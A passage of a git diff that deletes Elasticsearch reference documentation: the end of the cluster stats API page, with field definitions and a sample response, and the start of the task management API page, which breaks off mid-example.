-Name of the cluster, based on the <<cluster-name>> setting.
-
-`cluster_uuid`::
-(string)
-Unique identifier for the cluster.
-
-`timestamp`::
-(integer)
-{wikipedia}/Unix_time[Unix timestamp], in milliseconds, of
-the last time the cluster statistics were refreshed.
-
-`status`::
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cluster-health-status]
-+
-See <<cluster-health>>.
-
-[[cluster-stats-api-response-body-indices]]
-`indices`::
-(object)
-Contains statistics about indices with shards assigned to selected nodes.
-+
-.Properties of `indices`
-[%collapsible%open]
-====
-`count`::
-(integer)
-Total number of indices with shards assigned to selected nodes.
-
-`shards`::
-(object)
-Contains statistics about shards assigned to selected nodes.
-+
-.Properties of `shards`
-[%collapsible%open]
-=====
-`total`::
-(integer)
-Total number of shards assigned to selected nodes.
-
-`primaries`::
-(integer)
-Number of primary shards assigned to selected nodes.
-
-`replication`::
-(float)
-Ratio of replica shards to primary shards across all selected nodes.
-
-`index`::
-(object)
-Contains statistics about shards assigned to selected nodes.
-+
-.Properties of `index`
-[%collapsible%open]
-======
-`shards`::
-(object)
-Contains statistics about the number of shards assigned to selected nodes.
-+
-.Properties of `shards`
-[%collapsible%open]
-=======
-`min`::
-(integer)
-Minimum number of shards in an index, counting only shards assigned to
-selected nodes.
-
-`max`::
-(integer)
-Maximum number of shards in an index, counting only shards assigned to
-selected nodes.
-
-`avg`::
-(float)
-Mean number of shards in an index, counting only shards assigned to
-selected nodes.
-=======
-
-`primaries`::
-(object)
-Contains statistics about the number of primary shards assigned to selected
-nodes.
-+
-.Properties of `primaries`
-[%collapsible%open]
-=======
-`min`::
-(integer)
-Minimum number of primary shards in an index, counting only shards assigned
-to selected nodes.
-
-`max`::
-(integer)
-Maximum number of primary shards in an index, counting only shards assigned
-to selected nodes.
-
-`avg`::
-(float)
-Mean number of primary shards in an index, counting only shards assigned to
-selected nodes.
-=======
-
-`replication`::
-(object)
-Contains statistics about the number of replication shards assigned to selected
-nodes.
-+
-.Properties of `replication`
-[%collapsible%open]
-=======
-`min`::
-(float)
-Minimum replication factor in an index, counting only shards assigned to
-selected nodes.
-
-`max`::
-(float)
-Maximum replication factor in an index, counting only shards assigned to
-selected nodes.
-
-`avg`::
-(float)
-Mean replication factor in an index, counting only shards assigned to selected
-nodes.
-=======
-======
-=====
-
-`docs`::
-(object)
-Contains counts for documents in selected nodes.
-+
-.Properties of `docs`
-[%collapsible%open]
-=====
-`count`::
-(integer)
-Total number of non-deleted documents across all primary shards assigned to
-selected nodes.
-+
-This number is based on documents in Lucene segments and may include documents
-from nested fields.
-
-`deleted`::
-(integer)
-Total number of deleted documents across all primary shards assigned to
-selected nodes.
-+
-This number is based on documents in Lucene segments. {es} reclaims the disk
-space of deleted Lucene documents when a segment is merged.
-=====
-
-`store`::
-(object)
-Contains statistics about the size of shards assigned to selected nodes.
-+
-.Properties of `store`
-[%collapsible%open]
-=====
-`size`::
-(<<byte-units, byte units>>)
-Total size of all shards assigned to selected nodes.
-
-`size_in_bytes`::
-(integer)
-Total size, in bytes, of all shards assigned to selected nodes.
-
-`reserved`::
-(<<byte-units,byte value>>)
-A prediction of how much larger the shard stores will eventually grow due to
-ongoing peer recoveries, restoring snapshots, and similar activities.
-
-`reserved_in_bytes`::
-(integer)
-A prediction, in bytes, of how much larger the shard stores will eventually
-grow due to ongoing peer recoveries, restoring snapshots, and similar
-activities.
-=====
-
-`fielddata`::
-(object)
-Contains statistics about the <<modules-fielddata, field data cache>> of selected nodes.
-+
-.Properties of `fielddata`
-[%collapsible%open]
-=====
-`memory_size`::
-(<<byte-units, byte units>>)
-Total amount of memory used for the field data cache across all shards
-assigned to selected nodes.
-
-`memory_size_in_bytes`::
-(integer)
-Total amount, in bytes, of memory used for the field data cache across all
-shards assigned to selected nodes.
-
-`evictions`::
-(integer)
-Total number of evictions from the field data cache across all shards assigned
-to selected nodes.
-=====
-
-`query_cache`::
-(object)
-Contains statistics about the query cache of selected nodes.
-+
-.Properties of `query_cache`
-[%collapsible%open]
-=====
-`memory_size`::
-(<<byte-units, byte units>>)
-Total amount of memory used for the query cache across all shards assigned to
-selected nodes.
-
-`memory_size_in_bytes`::
-(integer)
-Total amount, in bytes, of memory used for the query cache across all shards
-assigned to selected nodes.
-
-`total_count`::
-(integer)
-Total count of hits and misses in the query cache across all shards assigned to
-selected nodes.
-
-`hit_count`::
-(integer)
-Total count of query cache hits across all shards assigned to selected nodes.
-
-`miss_count`::
-(integer)
-Total count of query cache misses across all shards assigned to selected nodes.
-
-`cache_size`::
-(integer)
-Total number of entries currently in the query cache across all shards assigned
-to selected nodes.
-
-`cache_count`::
-(integer)
-Total number of entries added to the query cache across all shards assigned
-to selected nodes. This number includes current and evicted entries.
-
-`evictions`::
-(integer)
-Total number of query cache evictions across all shards assigned to selected
-nodes.
-=====
-
-`completion`::
-(object)
-Contains statistics about memory used for completion in selected nodes.
-+
-.Properties of `completion`
-[%collapsible%open]
-=====
-`size`::
-(<<byte-units, byte units>>)
-Total amount of memory used for completion across all shards assigned to
-selected nodes.
-
-`size_in_bytes`::
-(integer)
-Total amount, in bytes, of memory used for completion across all shards assigned
-to selected nodes.
-=====
-
-`segments`::
-(object)
-Contains statistics about segments in selected nodes.
-+
-.Properties of `segments`
-[%collapsible%open]
-=====
-`count`::
-(integer)
-Total number of segments across all shards assigned to selected nodes.
-
-`memory`::
-(<<byte-units, byte units>>)
-Total amount of memory used for segments across all shards assigned to selected
-nodes.
-
-`memory_in_bytes`::
-(integer)
-Total amount, in bytes, of memory used for segments across all shards assigned to
-selected nodes.
-
-`terms_memory`::
-(<<byte-units, byte units>>)
-Total amount of memory used for terms across all shards assigned to selected
-nodes.
-
-`terms_memory_in_bytes`::
-(integer)
-Total amount, in bytes, of memory used for terms across all shards assigned to
-selected nodes.
-
-`stored_fields_memory`::
-(<<byte-units, byte units>>)
-Total amount of memory used for stored fields across all shards assigned to
-selected nodes.
-
-`stored_fields_memory_in_bytes`::
-(integer)
-Total amount, in bytes, of memory used for stored fields across all shards
-assigned to selected nodes.
-
-`term_vectors_memory`::
-(<<byte-units, byte units>>)
-Total amount of memory used for term vectors across all shards assigned to
-selected nodes.
-
-`term_vectors_memory_in_bytes`::
-(integer)
-Total amount, in bytes, of memory used for term vectors across all shards
-assigned to selected nodes.
-
-`norms_memory`::
-(<<byte-units, byte units>>)
-Total amount of memory used for normalization factors across all shards assigned
-to selected nodes.
-
-`norms_memory_in_bytes`::
-(integer)
-Total amount, in bytes, of memory used for normalization factors across all
-shards assigned to selected nodes.
-
-`points_memory`::
-(<<byte-units, byte units>>)
-Total amount of memory used for points across all shards assigned to selected
-nodes.
-
-`points_memory_in_bytes`::
-(integer)
-Total amount, in bytes, of memory used for points across all shards assigned to
-selected nodes.
-
-`doc_values_memory`::
-(<<byte-units, byte units>>)
-Total amount of memory used for doc values across all shards assigned to
-selected nodes.
-
-`doc_values_memory_in_bytes`::
-(integer)
-Total amount, in bytes, of memory used for doc values across all shards assigned
-to selected nodes.
-
-`index_writer_memory`::
-(<<byte-units, byte units>>)
-Total amount of memory used by all index writers across all shards assigned to
-selected nodes.
-
-`index_writer_memory_in_bytes`::
-(integer)
-Total amount, in bytes, of memory used by all index writers across all shards
-assigned to selected nodes.
-
-`version_map_memory`::
-(<<byte-units, byte units>>)
-Total amount of memory used by all version maps across all shards assigned to
-selected nodes.
-
-`version_map_memory_in_bytes`::
-(integer)
-Total amount, in bytes, of memory used by all version maps across all shards
-assigned to selected nodes.
-
-`fixed_bit_set`::
-(<<byte-units, byte units>>)
-Total amount of memory used by fixed bit sets across all shards assigned to
-selected nodes.
-+
-Fixed bit sets are used for nested object field types and
-type filters for <<parent-join,join>> fields.
-
-`fixed_bit_set_memory_in_bytes`::
-(integer)
-Total amount of memory, in bytes, used by fixed bit sets across all shards
-assigned to selected nodes.
-
-`max_unsafe_auto_id_timestamp`::
-(integer)
-{wikipedia}/Unix_time[Unix timestamp], in milliseconds, of
-the most recently retried indexing request.
-
-`file_sizes`::
-(object)
-This object is not populated by the cluster stats API.
-+
-To get information on segment files, use the <<cluster-nodes-stats,node stats
-API>>.
-=====
-
-`mappings`::
-(object)
-Contains statistics about <<mapping,field mappings>> in selected nodes.
-+
-.Properties of `mappings`
-[%collapsible%open]
-=====
-`field_types`::
-(array of objects)
-Contains statistics about <<mapping-types,field data types>> used in selected
-nodes.
-+
-.Properties of `field_types` objects
-[%collapsible%open]
-======
-`name`::
-(string)
-Field data type used in selected nodes.
-
-`count`::
-(integer)
-Number of fields mapped to the field data type in selected nodes.
-
-`index_count`::
-(integer)
-Number of indices containing a mapping of the field data type in selected nodes.
-======
-=====
-
-`analysis`::
-(object)
-Contains statistics about <<analyzer-anatomy,analyzers and analyzer components>>
-used in selected nodes.
-+
-.Properties of `analysis`
-[%collapsible%open]
-=====
-`char_filter_types`::
-(array of objects)
-Contains statistics about <<analysis-charfilters,character filter>> types used
-in selected nodes.
-+
-.Properties of `char_filter_types` objects
-[%collapsible%open]
-======
-`name`::
-(string)
-Character filter type used in selected nodes.
-
-`count`::
-(integer)
-Number of analyzers or normalizers using the character filter type in selected
-nodes.
-
-`index_count`::
-(integer)
-Number of indices the character filter type in selected nodes.
-======
-
-`tokenizer_types`::
-(array of objects)
-Contains statistics about <<analysis-tokenizers,tokenizer>> types used in
-selected nodes.
-+
-.Properties of `tokenizer_types` objects
-[%collapsible%open]
-======
-`name`::
-(string)
-Tokenizer type used in selected nodes.
-
-`count`::
-(integer)
-Number of analyzers or normalizers using the tokenizer type in selected nodes.
-
-`index_count`::
-(integer)
-Number of indices using the tokenizer type in selected nodes.
-======
-
-`filter_types`::
-(array of objects)
-Contains statistics about <<analysis-tokenfilters,token filter>> types used in
-selected nodes.
-+
-.Properties of `filter_types` objects
-[%collapsible%open]
-======
-`name`::
-(string)
-Token filter type used in selected nodes.
-
-`count`::
-(integer)
-Number of analyzers or normalizers using the token filter type in selected
-nodes.
-
-`index_count`::
-(integer)
-Number of indices using the token filter type in selected nodes.
-======
-
-`analyzer_types`::
-(array of objects)
-Contains statistics about <<analyzer-anatomy,analyzer>> types used in selected
-nodes.
-+
-.Properties of `analyzer_types` objects
-[%collapsible%open]
-======
-`name`::
-(string)
-Analyzer type used in selected nodes.
-
-`count`::
-(integer)
-Occurrences of the analyzer type in selected nodes.
-
-`index_count`::
-(integer)
-Number of indices using the analyzer type in selected nodes.
-======
-
-`built_in_char_filters`::
-(array of objects)
-Contains statistics about built-in <<analysis-charfilters,character filters>>
-used in selected nodes.
-+
-.Properties of `built_in_char_filters` objects
-[%collapsible%open]
-======
-`name`::
-(string)
-Built-in character filter used in selected nodes.
-
-`count`::
-(integer)
-Number of analyzers or normalizers using the built-in character filter in
-selected nodes.
-
-`index_count`::
-(integer)
-Number of indices using the built-in character filter in selected nodes.
-======
-
-`built_in_tokenizers`::
-(array of objects)
-Contains statistics about built-in <<analysis-tokenizers,tokenizers>> used in
-selected nodes.
-+
-.Properties of `built_in_tokenizers` objects
-[%collapsible%open]
-======
-`name`::
-(string)
-Built-in tokenizer used in selected nodes.
-
-`count`::
-(integer)
-Number of analyzers or normalizers using the built-in tokenizer in selected
-nodes.
-
-`index_count`::
-(integer)
-Number of indices using the built-in tokenizer in selected nodes.
-======
-
-`built_in_filters`::
-(array of objects)
-Contains statistics about built-in <<analysis-tokenfilters,token filters>> used
-in selected nodes.
-+
-.Properties of `built_in_filters` objects
-[%collapsible%open]
-======
-`name`::
-(string)
-Built-in token filter used in selected nodes.
-
-`count`::
-(integer)
-Number of analyzers or normalizers using the built-in token filter in selected
-nodes.
-
-`index_count`::
-(integer)
-Number of indices using the built-in token filter in selected nodes.
-======
-
-`built_in_analyzers`::
-(array of objects)
-Contains statistics about built-in <<analysis-analyzers,analyzers>> used in
-selected nodes.
-+
-.Properties of `built_in_analyzers` objects
-[%collapsible%open]
-======
-`name`::
-(string)
-Built-in analyzer used in selected nodes.
-
-`count`::
-(integer)
-Occurrences of the built-in analyzer in selected nodes.
-
-`index_count`::
-(integer)
-Number of indices using the built-in analyzer in selected nodes.
-======
-=====
-====
-
-[[cluster-stats-api-response-body-nodes]]
-`nodes`::
-(object)
-Contains statistics about nodes selected by the request's <<cluster-nodes,node
-filters>>.
-+
-.Properties of `nodes`
-[%collapsible%open]
-====
-`count`::
-(object)
-Contains counts for nodes selected by the request's <<cluster-nodes,node
-filters>>.
-+
-.Properties of `count`
-[%collapsible%open]
-=====
-`total`::
-(integer)
-Total number of selected nodes.
-
-`coordinating_only`::
-(integer)
-Number of selected nodes without a <<modules-node,role>>. These nodes are
-considered <<coordinating-only-node,coordinating only>> nodes.
-
-`<role>`::
-(integer)
-Number of selected nodes with the role. For a list of roles, see
-<<modules-node>>.
-=====
-
-`versions`::
-(array of strings)
-Array of {es} versions used on selected nodes.
-
-`os`::
-(object)
-Contains statistics about the operating systems used by selected nodes.
-+
-.Properties of `os`
-[%collapsible%open]
-=====
-`available_processors`::
-(integer)
-Number of processors available to JVM across all selected nodes.
-
-`allocated_processors`::
-(integer)
-Number of processors used to calculate thread pool size across all selected
-nodes.
-+
-This number can be set with the `processors` setting of a node and defaults to
-the number of processors reported by the OS. In both cases, this number will
-never be larger than `32`.
-
-`names`::
-(array of objects)
-Contains statistics about operating systems used by selected nodes.
-+
-.Properties of `names`
-[%collapsible%open]
-======
-`name`:::
-(string)
-Name of an operating system used by one or more selected nodes.
-
-`count`:::
-(string)
-Number of selected nodes using the operating system.
-======
-
-`pretty_names`::
-(array of objects)
-Contains statistics about operating systems used by selected nodes.
-+
-.Properties of `pretty_names`
-[%collapsible%open]
-======
-`pretty_name`:::
-(string)
-Human-readable name of an operating system used by one or more selected nodes.
-
-`count`:::
-(string)
-Number of selected nodes using the operating system.
-======
-
-`mem`::
-(object)
-Contains statistics about memory used by selected nodes.
-+
-.Properties of `mem`
-[%collapsible%open]
-======
-`total`::
-(<<byte-units, byte units>>)
-Total amount of physical memory across all selected nodes.
-
-`total_in_bytes`::
-(integer)
-Total amount, in bytes, of physical memory across all selected nodes.
-
-`free`::
-(<<byte-units, byte units>>)
-Amount of free physical memory across all selected nodes.
-
-`free_in_bytes`::
-(integer)
-Amount, in bytes, of free physical memory across all selected nodes.
-
-`used`::
-(<<byte-units, byte units>>)
-Amount of physical memory in use across all selected nodes.
-
-`used_in_bytes`::
-(integer)
-Amount, in bytes, of physical memory in use across all selected nodes.
-
-`free_percent`::
-(integer)
-Percentage of free physical memory across all selected nodes.
-
-`used_percent`::
-(integer)
-Percentage of physical memory in use across all selected nodes.
-======
-=====
-
-`process`::
-(object)
-Contains statistics about processes used by selected nodes.
-+
-.Properties of `process`
-[%collapsible%open]
-=====
-`cpu`::
-(object)
-Contains statistics about CPU used by selected nodes.
-+
-.Properties of `cpu`
-[%collapsible%open]
-======
-`percent`::
-(integer)
-Percentage of CPU used across all selected nodes. Returns `-1` if
-not supported.
-======
-
-`open_file_descriptors`::
-(object)
-Contains statistics about open file descriptors in selected nodes.
-+
-.Properties of `open_file_descriptors`
-[%collapsible%open]
-======
-`min`::
-(integer)
-Minimum number of concurrently open file descriptors across all selected nodes.
-Returns `-1` if not supported.
-
-`max`::
-(integer)
-Maximum number of concurrently open file descriptors allowed across all selected
-nodes. Returns `-1` if not supported.
-
-`avg`::
-(integer)
-Average number of concurrently open file descriptors. Returns `-1` if not
-supported.
-======
-=====
-
-`jvm`::
-(object)
-Contains statistics about the Java Virtual Machines (JVMs) used by selected
-nodes.
-+
-.Properties of `jvm`
-[%collapsible%open]
-=====
-`max_uptime`::
-(<<time-units,time unit>>)
-Uptime duration since JVM last started.
-
-`max_uptime_in_millis`::
-(integer)
-Uptime duration, in milliseconds, since JVM last started.
-
-`versions`::
-(array of objects)
-Contains statistics about the JVM versions used by selected nodes.
-+
-.Properties of `versions`
-[%collapsible%open]
-======
-`version`::
-(string)
-Version of JVM used by one or more selected nodes.
-
-`vm_name`::
-(string)
-Name of the JVM.
-
-`vm_version`::
-(string)
-Full version number of JVM.
-+
-The full version number includes a plus sign (`+`) followed by the build number.
-
-`vm_vendor`::
-(string)
-Vendor of the JVM.
-
-`bundled_jdk`::
-(Boolean)
-If `true`, the JVM includes a bundled Java Development Kit (JDK).
-
-`using_bundled_jdk`::
-(Boolean)
-If `true`, a bundled JDK is in use by JVM.
-
-`count`::
-(integer)
-Total number of selected nodes using JVM.
-======
-
-`mem`::
-(object)
-Contains statistics about memory used by selected nodes.
-+
-.Properties of `mem`
-[%collapsible%open]
-======
-`heap_used`::
-(<<byte-units, byte units>>)
-Memory currently in use by the heap across all selected nodes.
-
-`heap_used_in_bytes`::
-(integer)
-Memory, in bytes, currently in use by the heap across all selected nodes.
-
-`heap_max`::
-(<<byte-units, byte units>>)
-Maximum amount of memory, in bytes, available for use by the heap across all
-selected nodes.
-
-`heap_max_in_bytes`::
-(integer)
-Maximum amount of memory, in bytes, available for use by the heap across all
-selected nodes.
-======
-
-`threads`::
-(integer)
-Number of active threads in use by JVM across all selected nodes.
-=====
-
-`fs`::
-(object)
-Contains statistics about file stores by selected nodes.
-+
-.Properties of `fs`
-[%collapsible%open]
-=====
-`total`::
-(<<byte-units, byte units>>)
-Total size of all file stores across all selected nodes.
-
-`total_in_bytes`::
-(integer)
-Total size, in bytes, of all file stores across all seleced nodes.
-
-`free`::
-(<<byte-units, byte units>>)
-Amount of unallocated disk space in file stores across all selected nodes.
-
-`free_in_bytes`::
-(integer)
-Total number of unallocated bytes in file stores across all selected nodes.
-
-`available`::
-(<<byte-units, byte units>>)
-Total amount of disk space available to JVM in file
-stores across all selected nodes.
-+
-Depending on OS or process-level restrictions, this amount may be less than
-`nodes.fs.free`. This is the actual amount of free disk space the selected {es}
-nodes can use.
-
-`available_in_bytes`::
-(integer)
-Total number of bytes available to JVM in file stores
-across all selected nodes.
-+
-Depending on OS or process-level restrictions, this number may be less than
-`nodes.fs.free_in_byes`. This is the actual amount of free disk space the
-selected {es} nodes can use.
-=====
-
-`plugins`::
-(array of objects)
-Contains statistics about installed plugins and modules by selected nodes.
-+
-If no plugins or modules are installed, this array is empty.
-+
-.Properties of `plugins`
-[%collapsible%open]
-=====
-
-`<plugin>`::
-(object)
-Contains statistics about an installed plugin or module.
-+
-.Properties of `<plugin>`
-[%collapsible%open]
-======
-`name`:::
-(string)
-Name of the {es} plugin.
-
-`version`:::
-(string)
-{es} version for which the plugin was built.
-
-`elasticsearch_version`:::
-(string)
-{es} version for which the plugin was built.
-
-`java_version`:::
-(string)
-Java version for which the plugin was built.
-
-`description`:::
-(string)
-Short description of the plugin.
-
-`classname`:::
-(string)
-Class name used as the plugin's entry point.
-
-`extended_plugins`:::
-(array of strings)
-An array of other plugins extended by this plugin through the Java Service
-Provider Interface (SPI).
-+
-If this plugin extends no other plugins, this array is empty.
-
-`has_native_controller`:::
-(Boolean)
-If `true`, the plugin has a native controller process.
-======
-=====
-
-`network_types`::
-(object)
-Contains statistics about the transport and HTTP networks used by selected
-nodes.
-+
-.Properties of `network_types`
-[%collapsible%open]
-=====
-`transport_types`::
-(object)
-Contains statistics about the transport network types used by selected nodes.
-+
-.Properties of `transport_types`
-[%collapsible%open]
-======
-`<transport_type>`::
-(integer)
-Number of selected nodes using the transport type.
-======
-
-`http_types`::
-(object)
-Contains statistics about the HTTP network types used by selected nodes.
-+
-.Properties of `http_types`
-[%collapsible%open]
-======
-`<http_type>`::
-(integer)
-Number of selected nodes using the HTTP type.
-======
-=====
-
-`discovery_types`::
-(object)
-Contains statistics about the <<modules-discovery-hosts-providers,discovery
-types>> used by selected nodes.
-+
-.Properties of `discovery_types`
-[%collapsible%open]
-=====
-`<discovery_type>`::
-(integer)
-Number of selected nodes using the <<modules-discovery-hosts-providers,discovery
-type>> to find other nodes.
-=====
-
-`packaging_types`::
-(array of objects)
-Contains statistics about {es} distributions installed on selected nodes.
-+
-.Properties of `packaging_types`
-[%collapsible%open]
-=====
-`flavor`:::
-(string)
-Type of {es} distribution, such as `default` or `OSS`, used by one or more
-selected nodes.
-
-`type`:::
-(string)
-File type, such as `tar` or `zip`, used for the distribution package.
-
-`count`:::
-(integer)
-Number of selected nodes using the distribution flavor and file type.
-=====
-====
-
-[[cluster-stats-api-example]]
-==== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-GET /_cluster/stats?human&pretty
---------------------------------------------------
-// TEST[setup:my_index]
-
-The API returns the following response:
-
-["source","js",subs="attributes,callouts"]
---------------------------------------------------
-{
-   "_nodes" : {
-      "total" : 1,
-      "successful" : 1,
-      "failed" : 0
-   },
-   "cluster_uuid": "YjAvIhsCQ9CbjWZb2qJw3Q",
-   "cluster_name": "elasticsearch",
-   "timestamp": 1459427693515,
-   "status": "green",
-   "indices": {
-      "count": 1,
-      "shards": {
-         "total": 5,
-         "primaries": 5,
-         "replication": 0,
-         "index": {
-            "shards": {
-               "min": 5,
-               "max": 5,
-               "avg": 5
-            },
-            "primaries": {
-               "min": 5,
-               "max": 5,
-               "avg": 5
-            },
-            "replication": {
-               "min": 0,
-               "max": 0,
-               "avg": 0
-            }
-         }
-      },
-      "docs": {
-         "count": 10,
-         "deleted": 0
-      },
-      "store": {
-         "size": "16.2kb",
-         "size_in_bytes": 16684,
-         "reserved": "0b",
-         "reserved_in_bytes": 0
-      },
-      "fielddata": {
-         "memory_size": "0b",
-         "memory_size_in_bytes": 0,
-         "evictions": 0
-      },
-      "query_cache": {
-         "memory_size": "0b",
-         "memory_size_in_bytes": 0,
-         "total_count": 0,
-         "hit_count": 0,
-         "miss_count": 0,
-         "cache_size": 0,
-         "cache_count": 0,
-         "evictions": 0
-      },
-      "completion": {
-         "size": "0b",
-         "size_in_bytes": 0
-      },
-      "segments": {
-         "count": 4,
-         "memory": "8.6kb",
-         "memory_in_bytes": 8898,
-         "terms_memory": "6.3kb",
-         "terms_memory_in_bytes": 6522,
-         "stored_fields_memory": "1.2kb",
-         "stored_fields_memory_in_bytes": 1248,
-         "term_vectors_memory": "0b",
-         "term_vectors_memory_in_bytes": 0,
-         "norms_memory": "384b",
-         "norms_memory_in_bytes": 384,
-         "points_memory" : "0b",
-         "points_memory_in_bytes" : 0,
-         "doc_values_memory": "744b",
-         "doc_values_memory_in_bytes": 744,
-         "index_writer_memory": "0b",
-         "index_writer_memory_in_bytes": 0,
-         "version_map_memory": "0b",
-         "version_map_memory_in_bytes": 0,
-         "fixed_bit_set": "0b",
-         "fixed_bit_set_memory_in_bytes": 0,
-         "max_unsafe_auto_id_timestamp" : -9223372036854775808,
-         "file_sizes": {}
-      },
-      "mappings": {
-        "field_types": []
-      },
-      "analysis": {
-        "char_filter_types": [],
-        "tokenizer_types": [],
-        "filter_types": [],
-        "analyzer_types": [],
-        "built_in_char_filters": [],
-        "built_in_tokenizers": [],
-        "built_in_filters": [],
-        "built_in_analyzers": []
-      }
-   },
-   "nodes": {
-      "count": {
-         "total": 1,
-         "data": 1,
-         "coordinating_only": 0,
-         "master": 1,
-         "ingest": 1,
-         "voting_only": 0
-      },
-      "versions": [
-         "{version}"
-      ],
-      "os": {
-         "available_processors": 8,
-         "allocated_processors": 8,
-         "names": [
-            {
-               "name": "Mac OS X",
-               "count": 1
-            }
-         ],
-         "pretty_names": [
-            {
-               "pretty_name": "Mac OS X",
-               "count": 1
-            }
-         ],
-         "mem" : {
-            "total" : "16gb",
-            "total_in_bytes" : 17179869184,
-            "free" : "78.1mb",
-            "free_in_bytes" : 81960960,
-            "used" : "15.9gb",
-            "used_in_bytes" : 17097908224,
-            "free_percent" : 0,
-            "used_percent" : 100
-         }
-      },
-      "process": {
-         "cpu": {
-            "percent": 9
-         },
-         "open_file_descriptors": {
-            "min": 268,
-            "max": 268,
-            "avg": 268
-         }
-      },
-      "jvm": {
-         "max_uptime": "13.7s",
-         "max_uptime_in_millis": 13737,
-         "versions": [
-            {
-               "version": "12",
-               "vm_name": "OpenJDK 64-Bit Server VM",
-               "vm_version": "12+33",
-               "vm_vendor": "Oracle Corporation",
-               "bundled_jdk": true,
-               "using_bundled_jdk": true,
-               "count": 1
-            }
-         ],
-         "mem": {
-            "heap_used": "57.5mb",
-            "heap_used_in_bytes": 60312664,
-            "heap_max": "989.8mb",
-            "heap_max_in_bytes": 1037959168
-         },
-         "threads": 90
-      },
-      "fs": {
-         "total": "200.6gb",
-         "total_in_bytes": 215429193728,
-         "free": "32.6gb",
-         "free_in_bytes": 35064553472,
-         "available": "32.4gb",
-         "available_in_bytes": 34802409472
-      },
-      "plugins": [
-        {
-          "name": "analysis-icu",
-          "version": "{version}",
-          "description": "The ICU Analysis plugin integrates Lucene ICU module into elasticsearch, adding ICU relates analysis components.",
-          "classname": "org.elasticsearch.plugin.analysis.icu.AnalysisICUPlugin",
-          "has_native_controller": false
-        },
-        ...
-      ],
-      "ingest": {
-        "number_of_pipelines" : 1,
-        "processor_stats": {
-          ...
-        }
-      },
-      "network_types": {
-        ...
-      },
-      "discovery_types": {
-        ...
-      },
-      "packaging_types": [
-        {
-          ...
-        }
-      ]
-   }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"plugins": \[[^\]]*\]/"plugins": $body.$_path/]
-// TESTRESPONSE[s/"network_types": \{[^\}]*\}/"network_types": $body.$_path/]
-// TESTRESPONSE[s/"discovery_types": \{[^\}]*\}/"discovery_types": $body.$_path/]
-// TESTRESPONSE[s/"processor_stats": \{[^\}]*\}/"processor_stats": $body.$_path/]
-// TESTRESPONSE[s/"count": \{[^\}]*\}/"count": $body.$_path/]
-// TESTRESPONSE[s/"packaging_types": \[[^\]]*\]/"packaging_types": $body.$_path/]
-// TESTRESPONSE[s/"field_types": \[[^\]]*\]/"field_types": $body.$_path/]
-// TESTRESPONSE[s/: true|false/: $body.$_path/]
-// TESTRESPONSE[s/: (\-)?[0-9]+/: $body.$_path/]
-// TESTRESPONSE[s/: "[^"]*"/: $body.$_path/]
-// These replacements do a few things:
-// 1. Ignore the contents of the `plugins` object because we don't know all of
-//    the plugins that will be in it. And because we figure folks don't need to
-//    see an exhaustive list anyway.
-// 2. Similarly, ignore the contents of `network_types`, `discovery_types`, and
-//    `packaging_types`.
-// 3. Ignore the contents of the (nodes) count object, as what's shown here
-//    depends on the license. Voting-only nodes are e.g. only shown when this
-//    test runs with a basic license.
-// 4. All of the numbers and strings on the right hand side of *every* field in
-//    the response are ignored. So we're really only asserting things about the
-//    the shape of this response, not the values in it.
-
-This API can be restricted to a subset of the nodes using <<cluster-nodes,node
-filters>>:
-
-[source,console]
---------------------------------------------------
-GET /_cluster/stats/nodes/node1,node*,master:false
---------------------------------------------------
diff --git a/docs/reference/cluster/tasks.asciidoc b/docs/reference/cluster/tasks.asciidoc
deleted file mode 100644
index 2994baf7204..00000000000
--- a/docs/reference/cluster/tasks.asciidoc
+++ /dev/null
@@ -1,327 +0,0 @@
-[[tasks]]
-=== Task management API
-++++
-<titleabbrev>Task management</titleabbrev>
-++++
-
-beta::["The task management API is new and should still be considered a beta feature. The API may change in ways that are not backwards compatible.",{es-issue}51628]
-
-Returns information about the tasks currently executing in the cluster.
-
-[[tasks-api-request]]
-==== {api-request-title}
-
-`GET /_tasks/<task_id>`
-
-`GET /_tasks`
-
-[[tasks-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the `monitor` or
-`manage` <<privileges-list-cluster,cluster privilege>> to use this API.
-
-[[tasks-api-desc]]
-==== {api-description-title}
-
-The task management API returns information
-about tasks currently executing
-on one or more nodes in the cluster.
-
-
-[[tasks-api-path-params]]
-==== {api-path-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=task-id]
-
-
-[[tasks-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=actions]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=detailed]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=group-by]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=node-id-query-parm]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=parent-task-id]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms]
-
-`wait_for_completion`::
-(Optional, Boolean) If `true`, the request blocks until the operation is complete.
-Defaults to `false`.
-    
-[[tasks-api-response-codes]]
-==== {api-response-codes-title}
-
-// tag::tasks-api-404[]
-`404` (Missing resources)::
-If `<task_id>` is specified but not found, this code indicates that there 
-are no resources that match the request.
-// end::tasks-api-404[]
-
-[[tasks-api-examples]]
-==== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-GET _tasks <1>
-GET _tasks?nodes=nodeId1,nodeId2 <2>
-GET _tasks?nodes=nodeId1,nodeId2&actions=cluster:* <3>
---------------------------------------------------
-// TEST[skip:No tasks to retrieve]
-
-<1> Retrieves all tasks currently running on all nodes in the cluster.
-<2> Retrieves all tasks running on nodes `nodeId1` and `nodeId2`.  See <<cluster-nodes>> for more info about how to select individual nodes.
-<3> Retrieves all cluster-related tasks running on nodes `nodeId1` and `nodeId2`.
-
-The API returns the following result:
-
-[source,console-result]
---------------------------------------------------
-{
-  "nodes" : {
-    "oTUltX4IQMOUUVeiohTt8A" : {
-      "name" : "H5dfFeA",
-      "transport_address" : "127.0.0.1:9300",
-      "host" : "127.0.0.1",
-      "ip" : "127.0.0.1:9300",
-      "tasks" : {
-        "oTUltX4IQMOUUVeiohTt8A:124" : {
-          "node" : "oTUltX4IQMOUUVeiohTt8A",
-          "id" : 124,
-          "type" : "direct",
-          "action" : "cluster:monitor/tasks/lists[n]",
-          "start_time_in_millis" : 1458585884904,
-          "running_time_in_nanos" : 47402,
-          "cancellable" : false,
